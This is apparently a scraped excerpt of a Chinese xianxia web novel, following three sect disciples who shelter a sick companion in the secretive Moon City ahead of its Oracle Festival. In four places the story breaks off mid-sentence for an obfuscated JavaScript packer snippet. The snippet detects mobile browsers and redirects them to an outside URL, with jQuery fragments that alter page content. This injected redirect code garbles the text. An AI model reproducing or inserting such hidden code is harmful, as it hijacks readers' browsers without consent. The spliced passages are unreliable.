一个星期……“可是婆婆，您看这位姑娘，她确实病的不轻，需要一个地方歇歇脚。可否行个方便，我们就待几天，待她稍微好转立刻就离开月亮城。” “老太婆就要去理想城了，哪里管得了这些事。”打铁铺的汉子一边说着，一边手上叮叮当当响个不停。 “这位铁匠大哥，不知道理想城又是什么地方？”李星中问。 “神谕节上会挑选有资格的人，举行完仪式之后他们就会去理想城。理想城嘛，是一个没有痛苦、没有纷争、没有疾病，一个快乐的地方。月亮城就是仿造理想城而建造的。神主保佑！”说着，周围所有人都虔诚地低下了头，双手合十，把额头放在了大拇指上。 这氛围……待他们抬起头，何无盐问，“那不知怎样才能见到城主呢？” “哼哼！老太婆我就要去享福咯，你们两个小兔崽子，”老妪终于转过来对着他们说，“快走快走，别碍着我老婆子的眼。” “在月宫里！城主在月宫里！”小男孩一把抱住了何无盐的腿。 何无盐一个头两个大，但是仍然笑眯眯地说：“那小朋友你告诉姐姐，月宫，是那座宫殿吗？”何无盐看了看那座不远处的宫殿。 “就是那里！” “谢谢你呀，小朋友。”何无盐努力挤出微笑，示意李星中，转头就背着方方飞走了。 原地，卖菜的老妪嘟囔道：“我都这么大年纪了，竟然见着了城外人，真是晦气。月亮城这是要变天了啊！” 只见殿宇大门紧闭，周围空无一人，其上牌匾写着大大的“月宫”二字。 何无盐上前一步，还未开口，只听李星中道：“清一门李星中、雅一门何无盐和方方姑娘，求见月亮城城主！” “我一行三人路经此地，本无意叨扰，无奈朋友偶感风寒，希望能借贵宝地稍作休息。病情有所好转我们就即刻离开，绝不敢多作停留。” “什么清一门，闻所未闻。月亮城不欢迎你们这些俗人！别脏了这里的台阶！快滚！” 一个身材娇小的紫衣少女突然出现在门口，一道鞭子随之而来。 事发突然，李星中将将躲过，紫衣少女却与他缠斗起来。 何无盐道，“这位道友，正魔大战之后，天一门一分为三，其中两支就是清一门和雅一门，此事天下人皆知。既然贵城如此不欢迎陌生人，我们走便是，又何必出口成脏，大动干戈。” “呸！谁是你的道友！快给我滚，少把你们那些龌龊事带到我月亮城来！”一边说着，攻势却越激烈。 何无盐看着李星中略微有些吃瘪，背上方方正发着烧，不免有些焦急，正准备把方方放下加入战局，却听见另一个少女轻快灵巧的声音。 “紫苏，不可无礼。”这声音仿佛就在她耳边说话一样。 何无盐心下一惊，扭头一看，四下除了他们三个和紫衣少女，却并无他人在场。 那边紫衣少女停下了动作，“城主…” “这位少侠并未撒谎。只是我月亮城久不与外界互通有无，无从得知这些事罢了。” 紫衣少女十分不满，“城主，就算是这样，我月亮城也是素来不欢迎外人的！” “紫苏，你忘记神谕中的启示了吗？” “神谕……？”紫苏突然睁大了眼睛，一脸的不可置信，“难道说…”紫苏愣在原地，只听那个声音说道： “少侠既到月亮城来，就是与我月亮城有缘，我月亮城不会对有求之人不闻不问。”说着，月宫的大门开始簌簌发抖。 门上的繁复纹路自上而下亮了三次，半刻之后，又像是经过数百年的时光，只听“嘎吱”一响，大门缓缓向两边打开。 “请。” “多谢城主。” “哼！”紫衣少女冷笑一声，脚一跺，便又消失了。 三人一踏入月宫的大门，就产生了强烈的失重感。等到缓过神来，已经到了一处小院。 两人扶着方方到房中躺下。此时方方已经烧的晕了过去。 何无盐道，“星中师弟，为我护法。” 即刻就念起本草心决就要为方方施法，却被李星中一把拽了过去。 “星中师弟，你放手。” 李星中却不为所动，“你这是干什么？” “我们有师命在身，魔教妖人或不日就要大乱天下，但方方也不能不管，我心中焦急，想要即刻与师父他们汇合…” “大师姐，事已至此，既来之，则安之。师父他们法力高强，身怀异宝，带的师兄师姐又都是好手，魔教消失百年，想来一时掀不起大的风浪，不必太过焦心。” “可是方方此番病情不是一时半刻能好起来的，我们等不起这许多时间。” 何无盐才注意到自己与李星中距离很近，他的五官似乎特别的清晰，好像第一次看清楚他的模样。 一股若有似无的松柏清香从何无盐的鼻尖略过去。 “方姑娘窥视天命才遭重创，你若强行为她治疗，因果轮转，只怕师姐你会受伤，而且越是法力高强之人，受创便越重，到时候即使与师父他们汇合，也派不上大用场。” “可是不能快点赶去师父他们身边，我总感到不安。”何无盐闻着这松柏清香，却又想起月光下面如冠玉、神采飞扬的赵无邪。 “方姑娘来历不明，虽然我探查过她的罩门，并没有感觉到修行的痕迹，但魔教妖人诡计多端，我们现在又是在这样一个奇怪的地方，还是保留实力，小心谨慎为上。” “你探过她的罩门？什么时候？”何无盐很惊讶，“难道……” 方方欲窥天机差点倒下时，李星中及时抱住方方，“你那时其实是为了查她的底细？”想起那个场面何无盐有点脸红。 李星中点点头，“不错。此刻方姑娘受伤颇重，我们也不会见死不救。这种情况，我清一门也自有应对之法，只是有些棘手。若是月亮城城主能给予一些帮助，会省不少事。” “哦，不知道你们需要我帮什么忙？”那个轻快灵巧的声音再次响起，带着几分愉悦。 两人一番讨论下来，天色已晚。 何无盐暗暗吃惊。这个少女好像是突然出现的，年纪这么轻，在她出声前却感受不到一点气息，修为实在深不可测。 一道白色的光芒在空中轻轻地向着他们飞来，在他们三人中间摇摆了一会儿，最后落到了方方身上。 只见一个个头娇小的女孩带着轻快的脚步走进来，不过十四五岁，身着白衣，周身好似有月华流淌。何、李两人一抱拳，正准备客套一下，女孩一摆手，突然又坐在了方方的床前。 “让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482319|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我看看。”说着伸出了手，摸了摸方方的额头。 女孩闭眼，口中念念有词，一道白色的光自她的手指尖进入了方方体内。 “方姑娘的伤，月亮城有办法。不过，这几天上上下下都在忙神谕节的事，得麻烦你们在这个奇怪的地方多待几天了。”一边说着，冲着李星中眨了眨眼。 “没想到一城之主，倒有偷听的……” 何无盐被李星中这个发言吓了一跳，赶忙打断。“实在抱歉，星中师弟说话莽撞，还请城主大人不记小人过，多多见谅。” “无碍。”白芷罢了罢手。 “不知道神谕节是？”何无盐问。 “神谕节是月亮城的传统节日，十年一次，主要是向城众展示神迹，在神谕节上，城主会开启理想城的大门，被挑选的城众即可进入理想城，享受神赐的欢愉。” “不过诸位很幸运，下一次神谕节就在一星期以后。诸位可以先参与我们的神谕节，再走不迟。此事一了，我就会为方姑娘根治此症。” 何无盐一听来了兴趣：“若是这样就再好不过了。多谢城主大人。” “不必多礼，我们年纪相仿，叫我白芷吧。” 何无盐看着白芷，觉得白芷其实比自己看起来小好几岁。同龄肯定是谈不上的，毕竟她在息语林中修行了快十年，只是白芷这么说，她也心生欢喜，“好，那恭敬不如从命。” “现在我已设法减轻她的痛苦，缓解她的症状。不过，她什么时候醒来，就要看她自己的了。” 说话间，一壶茶水冲着李星中飞来。 房外传来紫苏的声音：“几个外人罢了，你给他们安排听风苑……白芷，你是何意？” 紫苏走了进来，一手却握着鞭子，舞得啪啪作响。 “紫苏，客人面前不得无礼。” “自立城以来，这里的规矩就是禁止外人入内，现在你不仅让他们进了月宫，还把他们当成座上宾，这就是城主给大家立的规矩？” 白芷微微皱眉，“紫苏，你忘了神谕是怎么说的？” “‘接受来自城外的祝福’吗？白芷，自从你当了城主，什么都变了。”紫苏紧紧盯着白芷，神色十分复杂。 “不管怎么说，我是这个地方的主人。我做的决定，还容不得你一个小小神官来置喙。” 紫苏脸上浮现戏谑的表情，“真是好笑，白芷，我们从小一块儿长大，你是城主不错，可你不是师父，少在我面前拿腔拿调！” “师父？你这番行为，还好意思提师父？师父就是这样教你的？” “我……” “你自己回去好好想想吧。”一瞬间，紫苏就从房间里消失了。 何无盐十分惊讶。这白芷看着年纪轻，出手却很不寻常。 “不好意思了二位，紫苏其实是我的师姐，现在又身为月宫的武神官，此举也是为了月宫的安全着想，我也不太好过多的训斥她。” 白芷有些感伤，“其实以前我还没有当城主的时候，她只是有些骄纵，性格总还没有那么恶劣，我俩的关系也很好。只是后来……她这番脾气都是冲着我来的，让两位见笑了。” 何无盐赶忙道：“城主这是哪里话，月亮城能够申以援手，我们已是感激不尽。”说着冲李星中使了个眼色。没想到这家伙全当没看到。 “好了，”白芷拍了拍手抚了抚下摆，站了起来：“近日来，整个月亮城都在神谕大典做准备，月宫也是如此。招待不周，还请见谅。” “不过，几位可以在城中随意走动，权当消遣了。这块月光石，开放了听风苑和月宫大门之间的通道。只要握住这个石头，脑海中想一想，就可以任意出现在听风苑或者是月宫的门口。” 三小块雕刻着花纹的石头出现在桌上。 “后日是十五，月宫到了这一天夜晚最是美不胜收！正好给你们接风洗尘！” “那多谢城主美意。”何无盐收下月光石，抱拳以示谢意。 “就这么说定了。”一眨眼的功夫，白芷就不见了。 8. 月亮城（二） 方方睡正房，何无盐为了方便照顾她，便睡在她的外间，李星中则睡右边的厢房。 不过何、李二人所需睡眠极少，何无盐只是轻躺片刻，便感到精力充沛，打起坐来。 这月亮城确实有些奇怪。 高耸入云的城墙，怕本来就是为了与世隔绝才修建的，而且修建的材料，绝不是常见的石头。 之前打铁的大哥说外人预示着不详，那紫苏这么不欢迎外人、一句一个滚蛋，也可以理解，但白芷却暗示神谕非常欢迎他们，并且十分热情。 这几人态度不一，相互矛盾，这是何故？ 今日提到的理想城，这又是什么？神谕那句话又是什么意思？ 再说白芷，明明只是个小女孩，却已是一城之主，修为又如此高，如此天赋世间罕见。这里真是处处耐人寻味。 想着想着，何无盐听见方方在叫喊着什么，赶紧起身。只见方方披头散发，衣着潦草，正朝着外间踉跄着走来：“无盐……” 何无盐有些惊讶，却发现自己看不清楚方方的长相……她想睁眼去看，眼睛却突然疼痛起来，泪水模糊了双眼，只能看见模糊的人影。 “还给我！”这个人影一边尖叫一般冲了过来。 何无盐陡然惊醒，从床上一跃而起。 她最后，好像看见了一双美凤眼，这不是方方的眼睛，而是……上回在梦中见到的人！ “何无盐！”她一抬头，看见李星中站在她面前。“你怎么样？” “星中师弟，你怎么在这……” “我听见你这边有动静，想来是做噩梦了，来看看。” “是，方方刚才一直在喊着什么，但我也没听清。”说着说着，就走到了方方的床前。此刻方方睡的正熟。 半晌过去，方方依然睡的很香。“看来没什么事了，走吧。” 借着月光，何无盐看见李星中眼神闪烁，表情十分古怪。 “怎么了？有什么不舒服的地方吗？” 李星中嘴角抽了抽，“没有。今天我为你们守夜，大师姐就放心休息吧，想来这几日累坏了。我就在右边厢房，有事随时叫我。” “等一下……” “大师姐还有什么事？” “你不觉得月亮城有很多未解之谜？就说白芷吧，如此年轻，但却能让紫苏凭空消失。她是怎么做到的？难道她所施展的是幻术？我们所见都是假的？” “或许是空间转移术。” “如真是这样，这种天赋，就算是赵师兄也赶不上，我实在很难相信世间还有这种英才。” “不错，自己能够做到瞬移，需要一定的空间天赋，很高的修为，再配合正确的术法，但将自己以外的人准确移动到一个地点，我还从未见过这样的。这造诣恐怕已经超过了师父。” 两人都觉得此地深不可测。 “我刚刚去转了一圈，这里不比三青山上，凡事小心为妙。”李星中道。 “你已经出去转了一圈？有什么发现没有？”这小子，动作还挺快的。 “你仔细看看这里的墙。” “墙，墙怎么了？” 说着便走到墙根处。今天十四，月光很强，如果不仔细看都发现不了，这个城墙其实也发出了轻微的光芒。 “真是奇了。这月亮城还有多少惊喜等着我们。” “惊喜？不是惊吓就不错了。白芷与紫苏两个人关系紧张，对我们的态度也大不相同，恐怕这里待久了易生变故，还是早日离开的好。” 何无盐想了想道，“既来之，则安之。这可是你教我的。” 李星中愣了一下，轻轻地笑了一下，“说的也是。” 这下换何无盐愣了神。李星中这家伙，一半时间都在呛人，似乎就没见他笑过。突然笑起来，倒是颇有几分拨得云开的意思，终于有了一点同龄人的亲切感。 好像也没有那么难相处嘛。何无盐暗自寻思。 “你……这么盯着我干嘛。” “没有啊，没盯着你看。”何无盐突然意识到自己盯着李星中已经很久，急忙矢口否认。 两个人就这么你看着我，我看着你。 李星中不自然地咳了一声，“救下方方那日，我们论剑还没有论完。你为什么会紫薇剑？” 何无盐好容易回过神来。“往日宁师姐和赵师兄常来找我玩，尤其是宁师姐还总喜欢找我比武。这紫薇剑法，看她使了这么多次，没吃过猪肉，还能没见过猪跑？” “原来如此。” “那你呢？”何无盐心中一动，“星中师弟，你为什么会八卦掌？” “这原来是八卦掌吗？我并不知道。” “这是何意？” “我幼时看过一本书，上面就画着这招式。当时我还小，不认字，所以只认识上面的画。所以也不知道这是不是叫八卦掌。” “那书呢？” “找不着了。” “这书是谁给你的？” “记不太清了。好像，不是谁给的，是我捡的。” “捡的？我怎么没有这个好运气，先是捡到玄冥剑，又是捡到八卦掌。”何无盐忍不住调侃。 “都是我上山之前的事情了。玄冥也是，在龙吟顶的时候就已经佩戴在身上了。” 又是玄冥，又是八卦掌，李星中绝不简单。何无盐好像第一次见李星中一样，把他上下打量了一番。只见此男子月下一身玄色，面容干净，一双眼神采飞扬。“那这么多年过去，你没有试过回想以前的事情？” 李星中摇摇头。 “难道你一点也不好奇自己到底是什么来历？” “以前也试过，但想不起来。后来觉得，何必想这么多？我就是李星中，以前如何，都不会改变这个事。” “你上山多久了？” “十年。” 何无盐转了个话题。“哈哈，那不管你是什么来历，你都得叫我师姐。” “师姐。”李星中倒是十分乖巧。“师姐，你上山多久了？” “嗯这个嘛……”我八岁上山，在息语林里修行不知过了多少岁月，真要按在息语林里的时间来算，鬼知道是多少年了。“反正比你多。怎么，难道你想改口？” “这倒不是。我看那日师姐使紫薇剑，十分倾心，想向师姐讨教一二。” 原来是宁无云第二。武痴。何无盐抿嘴一笑，“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482320|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你可要小心了。” 话还没完便是一掌。眨眼间，已是电火石光。何无盐掌法绵密，将李星中层层包裹，使之无处下手。眼看李星中退无可退，一剑轻点身后流苏，翻身而上，飞上树桠。这小子，想借以拉开两人间的距离，好发挥长兵刃的优势。 何无盐看穿他的用意，追的更紧。为了不给他喘息的机会，何无盐一掌就劈了下去，“日出东山！”李星中往右一避，手上剑光四溢。 流苏树受不住何无盐这一掌激荡，花飞了漫天。何无盐身形一闪，追到李星中，一掌探到他的胸口。而李星中的剑，也架上了她的脖子。 “剑还挺快。”何无盐赞赏。 “再来。” 说着又起了变化，李星中的剑却变得凌厉了。两人你来我往，已是月上三竿。论心法修行，何无盐刚刚突破关隘，修行时间也更长，自然是要胜过李星中许多，但是李星中的剑却是快极了，而且见招拆招。何无盐久攻不下，招式见老。一鼓作气，再而衰，三而竭，便由绵密的攻势就变成了毫无漏洞的防守。 “师姐，你这又是什么掌法？朝云峰上，此等功法，我怎么从来没见过。” “朝云心法，出招无定，随心而至矣。”李星中听闻轻轻一笑。 正是此时，何无盐瞧出他的一个破绽。催动双脚，从他的胸口将将擦过，轻点他肩上大穴，便要夺剑。一阵松柏清香略过。玄冥剑架上了她的左肩。 “师姐这是要与我同归于尽吗？”耳边响起李星中的笑声，脸上传来李星中胸膛的温度。 “你故意卖破绽给我。” “若不是如此，凭师姐的修为，这般耗下去，我必输无疑。” “你使诈。” “兵不厌诈。从我跟宁师姐比武那次，师姐你不就知道了吗？” “也罢。这次算我俩平局。”何无盐瞪了他一眼。 “不，你输了。”李星中笑了笑。 “这个距离，我完全可以断你心脉，你的剑也不见得有我快，只不过我心软放你一马罢了。” “师姐，这若是与魔教之人比试，你也这样心软？” “这又不一样。对待魔教，我自然不会留情。” “你的不留情，又是怎么个不留情法呢？便是像今日这般？若平时不尽全力去比试，到了要与魔教生死一战的时候，又如何使得出全力来？魔教的人都是在生死场上来来去去，下手可不会像我们这般软绵绵的。” “你！”何无盐气笑了，“这难道就是你的剑道？” “不错，输就是输，赢就是赢。” “你这是只以成败论英雄。” “我只想见到天下至高武道。” “可武道不是只有输赢。” “没有输赢，何以分高下。” “你知道你不敌我。” “但是我赢了。” “你才没有赢，最多是我俩同归于尽罢了。” 此时的李星中，剑气激荡尚未平息，含笑看着她。这笑里，有一分得意，有两分狡黠，还有三分畅快，四分欣赏。 何无盐一下子意识到自己落入了他的圈套，瞪了他一眼，有些生气，转身便回屋了 9. 月亮城（三） 第二日中午，方方醒了。 “方方，你感觉怎么样？” 扶着方方勉强从床上爬起来，又喂了一口水，何无盐一举一动都小心翼翼。 方方正要开口，肚子却咕咕叫起来。两个人对视了一眼，都忍不住笑了。 “有点饿了。”半晌，方方不好意思地说。 何无盐急忙道：“确实，你都两天没吃东西了，先用这个垫垫，”说着从百宝袋里掏出红薯干，“我去看看有没有什么热乎的。” 还没动身，一个白衣男子走了进来。他左上半张脸带着面具，其后跟着四个身姿婀娜的白衣侍女，每个人手上端着食物。 “月宫招待不周，还请见谅。”面具男子微微点头，以示歉意。“我乃月宫神官，叶下珠。今早城主大人命我准备了一些饮食，想来方姑娘体弱，吃些东西，有助于恢复。” 一阵香气袭来，旁边方方来了精神，道：“哇塞！多谢！”但吃了两口，脸色一变，手上的动作不知不觉就慢了。再吃两口，竟然连吞咽也觉得困难，又吐了出来。 一开始食物的香气也逼近了何无盐，让她有些流口水。只是看向盘中，却完全不认得这些菜是什么。再看方方的反应，何无盐不由得警铃大作。 “怎么了方方？！” “这饭菜……” “有毒？！” “不是……太难吃了……”一边说还一边又吐了两下。 “……” 李星中这时走了进来：“多谢神官大人好意。只是这些菜，却瞧不出来是什么。” 叶下珠笑了一下子，拿起一双筷子，逐一尝了过去：“想来三位初来乍到，还不太习惯本地的口味。此物名为月桂籽，是本城居民每日必食之物，既有肉类的鲜香，又是主食，在别地确实难见。” 又道：“李少侠，城主大人既然肯救方姑娘，自然不会加害于她。李少侠大可放心。” 李星中道：“叶神官大人这是哪里的话，我只是对月亮城种种颇感兴趣，请神官大人代为介绍一下罢了。” 何无盐感觉两人唇枪舌剑、你来我往的，气氛颇为尴尬，便另外开启了一个话题：“叶大人既为神官，想来也知道紫苏？听城主提起，紫苏好像也是神官吧？” “不错。城主之下，便是神官。月宫一共两位神官，我是文神官，负责月宫一应大小事务，月亮城的事务也会先汇总到我这里，再向城主大人禀报。紫苏是武神官，负责月宫和月亮城的防卫事宜。” “我看城主大人、文神官大人和侍女皆着白衣，为何武神官大人却身着紫衣呢？” “白衣乃是我月宫的标志，至于紫苏，”叶下珠笑笑，“她素来与城主大人斗气惯了，衣着上也是如此。自从老城主失踪，两个人就一直这样。” “老城主失踪？” “是，此事说来确实也蹊跷。老城主没有留下只言片语，失踪前也没有任何征兆，两年前一天早晨，突然就找不到了。当时老城主无故失踪，新城主连大典都没有举行就立刻上任，月亮城上下还慌乱了好一阵，出现了很多流言蜚语。这两年过去了，才略微平息。” “想来各位入城时遭了一些刁难吧？”叶下珠道。 想想初遇的老妪和紫苏的态度，何无盐点了点头。 “月亮城立城之时就立下规矩，不许外人进入。老城主失踪那会儿，有人似乎看见外人的踪迹，于是城外人不详的流言就满天飞，不少人至今还相信老城主的失踪与此有关，是以让各位受罪了。”叶下珠抱拳，“叶某人在此向各位赔礼道歉。” “叶神官言重。” 叶下珠微微一笑：“想来贵客也累了，神谕大典还有诸多事项，请容许在下先行告辞。” “劳烦神官大人了，请。” 叶下珠出门之后，三个人就开始嘀嘀咕咕。 “这个地方怎么神神叨叨的。”方方率先开口。 “嘘嘘嘘！”何无盐十分紧张，生怕被听到，“说不定还没走远呢！” “哦哦哦！”方方猛猛点头。 李星中一旁看着，默默无语。 “我们入城的时候发生什么了？”方方问。 何无盐、李星中就如此这般、如此那般地把情况都跟她说了一遍。 “这个地方听起来挺诡异的啊，让我来算一算，看看到月亮城这一行是吉是凶。”说着就要掐算。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482321|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “别！” “你还算！” 何无盐急忙阻止抓住了她的左手腕，李星中更是身形一闪，抓住了她的右手腕。 “你差点命都没了，快别算了。”何无盐欲哭无泪。 姑奶奶，合着你这是遇事必算呀，这样下去身体什么时候才能好起来。 “也不知道你到底算了什么，得了这么大的报应还不知悔改。再出了事大罗神仙来了也救不了你。”李星中语气又变得冷淡起来。 方方悻悻地看了看两个人，倒像个犯错的小孩，嘟囔着道：“我就是算了一下自己的命，你看我掉进这么急的河里都没事，还来了这么个奇奇怪怪的地方。虽说会游泳吧，但也就三脚猫的功夫……”越说声音越小。 李星中无语。这也敢算。 “那不算不算了，以后都不算了。自从学会术数，倒霉事一件接着一件。” 说着说着，自己又怔住了，“就是给人随手算了一卦，却引来全家的祸事……我怎么还要算呢。” 何无盐一听，感觉势头不对，这是想起前尘往事了吧！赶忙道：“方方，咱先把饭吃了吧。” 说着就把饭菜往方方嘴里喂。 方方半晌没说话，抬头看了一眼何无盐，开始吧嗒吧嗒掉眼泪。 何无盐有点急了。又说错话了。 “这……” “这……”这怎么了姑奶奶，你倒是快说呀！ “这菜好难吃……” 然后哇哇地哭起来。 何无盐一口气还没来得及歇，只好抱住方方随着她哭了一场。她哭的极伤心，大概是要把这些日的委屈都哭出来。等方方歇下来，她道：“你都好几天没吃饭了。这俗话说，人是铁饭是钢，一顿不吃饿得慌。” 方方看了一眼何无盐，又看了一眼饭菜，犹豫了半天，好似下定了决心一样：“说的对！还是吃饭要紧！”便接过了饭勺，才吃了两口，眉头又紧皱起来，费力吞下。 见状何无盐又掏出自己的干粮递给方方，方方这才吃起来。 何无盐略微放了点心：“你呀，就安安心心的躺着，好好养伤就行。明天我们可以一起在月亮城里走走，就当散心了。” 10. 月亮城（四） 正值傍晚，三人走在月亮城内。昨日方方吃完了东西睡到现在，这才出来走走。 此时，各家各户都忙着做饭，何无盐跟方方闻着这个味道食欲大动，一直在街头寻找摊贩。忽而听到远处传来一阵阵乐曲。 三人走走停停，只见沿着墙角处，一袭紫衣骑着白色骏马，旁边是一群白衣侍女，又有白衣侍卫一一排开，在人群中甚是惹眼。 是紫苏。 “一二哟~一二哟~” 一群精壮的汉子捞起裤腿，配合着号子，一齐发力，拉动了身后巨大的耕具，步伐整齐划一，每二十步一歇。 紫苏就骑着马跟在后面，一边走一边撒下种子。 人群默默地跪下，双手合十，闭上了双眼。 几个侍女跟在紫苏身后，一边唱着什么，正是他们刚才听到的声音，缥缈空灵；在他们的后面，另外几个侍女时不时又矮下身去，从地里摸出些东西来，放进背上的篮子。 方方忍不住跟旁边的人打探道：“这是在做什么？” 没想到那人上下打量了他们一眼，默默走开了。 三人都觉得有些尴尬。 方方嘟囔了一下，“城外人还真是不受欢迎。” “别介意啊。”熟悉的声音传来。是刚入月亮城时见过的铁匠，“他其实也没有恶意。” “无妨。”何无盐笑笑，“不知这是在做什么？” 铁匠解释，这是在“播种”，是神谕大典前的仪式之一。需要沿着城墙走一圈，才算完成。 头三天是小城主大人来主持这个仪式，不过她事务繁忙，这几天就由紫苏代劳了。每天月亮刚刚出来这个时间，就会带着人走上这么一个时辰。 一看城墙边上，确实都留出很宽的土地。 “不知这种的……可是月桂籽？”李星中问。 他猜的不错。而且城中没有其他食物，城民一日三餐都吃这个。 方方在一旁听着却很是有点震惊，“吃一顿就受不了了，还天天吃、顿顿吃吗？！” 铁匠呵呵一笑道，“你别看这东西看着不起眼，但这是神主以它的血肉赐予信仰者的礼物，神爱众生，信者以此获得生命。神主在上，赐我们永生。”说着双手合十，神态虔诚，做了一番祷告。 正说着，那边紫苏下了马，将手里的种袋递给了旁边的侍女。 李星中眼神好，把这些都看在眼里，“看来今日是结束了。” “神主在上！”围观者祈祷完毕就陆陆续续的散去来，“明天就是最后一天啦，‘播种’这么顺利，看来小城主大人也是被神主认可的。” “就是就是，明天再来！” 没想到紫苏朝着他们走来，一路上不时有城众向紫苏行礼。此时日刚落，月已升，她身着薄暮紫，耳缀和田玉，发髻高梳，露出一整张脸，唇红齿白，眼光泛水，裙摆微微拖地，脚步很快，气势汹汹。 “你们几个怎么在这里？”仍旧是充满敌意的语气。 何无盐试图表达自己的友好，微笑道：“紫苏姑娘，我们几人出来散散心，顺便了解一些月亮城的风土人情。” “了解够了就快走吧，你们根本就不应该来这。要是影响到了‘播种’，小心我对你们不客气。” 李星中一挑眉，道：“紫苏大人，虽说确实叨扰了贵宝地，不过我们不仅不是什么洪水猛兽，小偷盗匪，还是你们城主请进来的客人，你言辞粗鄙，出手狠毒，这就是贵地的待客之道吗？” 紫苏闻言大怒，“你！”拿出了鞭子，摆出了架势。 “刚说完，就这么急不可耐地要与我们动手了吗？”李星中出言讽刺。 “牙尖嘴利之辈。你们若是对月亮城有任何不利之举，小心我的鞭子！” 何无盐打了个圆场：“紫苏姑娘，还请放心，我们绝不会做对月亮城不利之事。只待方方病好，我们即刻离开。” 紫苏瞪着他们，“你们最好说到做到。” 本来几人也没有什么深仇大恨，为何关系却如此紧张？脑袋瓜灵光一闪，何无盐突然试探道：“想来紫苏姑娘如此针对我们，也是受到城外人不详这一流言的影响，担心老城主的下落。” 此话一出，紫苏看了一眼何无盐，面色仍然难看，冷哼一声，“与你无关。反正你们治好了病早早离开吧。这里不是你们该来的地方。” 这话说的语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482322|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气仍然是不大好，但已经态度大有改变。看来何无盐想的没有错。 “不过城主大人是在我们进入月亮城之前就已失踪，想来跟我们并无直接的联系。”李星中道。 “你！”紫苏咬牙切齿地瞪着李星中。 何无盐暗自捶胸顿足。李星中，你为什么总拆我的台！ 此时铁匠突然道，“紫苏大人，之前您吩咐我铸造的剑已经完工了，不知您何时要？” “明日送月宫吧。”紫苏瞥了他一眼。 “好。”然后铁匠话锋一转，“刘铁匠我先前已邀请三位到家中做客，此时也不早了，再晚些，怕赶不上宵禁。您看……” “哼。”不说话，便是放人了。 刘铁匠这是找了个由头，岔开紫苏的注意力，以免大家闹得不愉快。 月亮城中，有且仅有这一家铁匠，已传承了好几代。月亮城守卫的兵器大多都是由刘铁匠打造的，紫苏身为武神官，平日里还是与刘铁匠有些交集，甚至可以说关系还不错。 于是四人朝着铁匠家方向走去。 走了没几步，再一扭头看紫苏，还在独自生着闷气，不知是在想什么。或许想到了与白芷目前不合的关系，又或许是想到了失踪的师父。 看她心事重重的样子，何无盐又突然灵光一闪。 “紫苏大人，不知可否赏脸一聚？” 大家伙愣了一下。 场面十分诡异。好家伙，每次见面都搞如此剑拔弩张，尤其上回在月宫门口，李星中跟紫苏两个人可都是动了真格的，这会儿怎么坐下来一起吃饭？ 何无盐感觉自己提了一个馊主意，但又不知该如何圆场，绞尽脑汁；李星中闻言波澜不惊，面无表情；方方明显在吃瓜，面露惊奇，一会儿看着这个，一会儿看着那个。 刘铁匠见状，赶紧道：“若是紫苏大人肯光临寒舍，那真是蓬荜生辉啊。” “在打什么歪主意？” 紫苏狐疑地把他们一群人上下都打量了一遍，又围着何无盐转了一圈。 “去就去！我堂堂月亮城武神官，难道还怕了你们不成？” 于是一群人各怀心思走到了刘铁匠家。 11. 月亮城（五） 一进门，家徒四壁但却宽敞。 屋里既是刘铁匠生活的地方，也是他打铁的地方。东南角有各式打铁所需工具，还悬挂着不少半成品。 来了四个人，又都是贵客，可把刘铁匠给忙坏了，招呼喝水，又要做菜，嘴上手上都没停过，“随意，随意啊，就跟自己家一样。” 四个人大眼瞪小眼好一会儿了。何无盐脸上挂着虚伪的笑容，应承着刘铁匠，其实内心暗暗地把自己骂了百千来遍。 天呐，她这脑子是抽了什么风，能想出这种主意来！ 要是李星中和紫苏又打起来怎么办？刘铁匠这家不得被拆得干干净净！对了对了，月亮城不是信神主吗？要是他俩能安安静静地乖乖吃完这顿饭，那她多少得给这个神主供点香火！ “铁匠大哥，今天吃什么呀？”方方问。 “月桂籽。”刘铁匠乐呵呵地道。 “是哦，这里只有月桂籽。” 方方有些小小的失望。 “方姑娘别担心，刘铁匠我变着花样给你做，保证每一道菜口感味道各不相同。” 